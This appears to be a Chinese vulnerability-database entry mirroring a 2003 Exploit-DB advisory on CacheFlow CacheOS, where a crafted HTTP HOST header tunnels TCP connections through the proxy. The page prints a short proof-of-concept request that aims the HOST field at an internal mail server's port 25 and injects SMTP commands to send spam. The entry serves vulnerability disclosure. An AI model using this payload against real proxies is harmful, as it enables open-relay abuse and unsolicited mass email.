Cacheflow CacheOS 4.1.10016 – HTTP HOST Proxy

漏洞ID	1054156	漏洞类型
发布时间	2003-09-10	更新时间	2003-09-10
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Multiple	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/23137

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/8584/info

Malicious HTTP HOST header field can be used on CacheOS to tunnel arbitrary TCP connections through a HTTP request.

It has been reported that CacheFlow CacheOS may allow the misuse of the HOST header value. This may provide for the use of an internal mail server as an open relay for the purposes of sending unsolicited mass email.

GET / HTTP/1.1
HOST: mailserver.example.com:25
HELO .
mail from: [email protected]
rcpt to: [email protected]
DATA
Subject: Look Ma! I'm an open relay
HI, you've been spammed through an open proxy, because of a bug in the
OS code. Have a Great Day!
-Spammer

相关推荐: Mollensoft Hyperion FTP/Enceladus Server Suite Multiple Remote Heap Corruption Vulnerabilities

Mollensoft Hyperion FTP/Enceladus Server Suite Multiple Remote Heap Corruption Vulnerabilities 漏洞ID 1100092 漏洞类型 Boundary Conditio…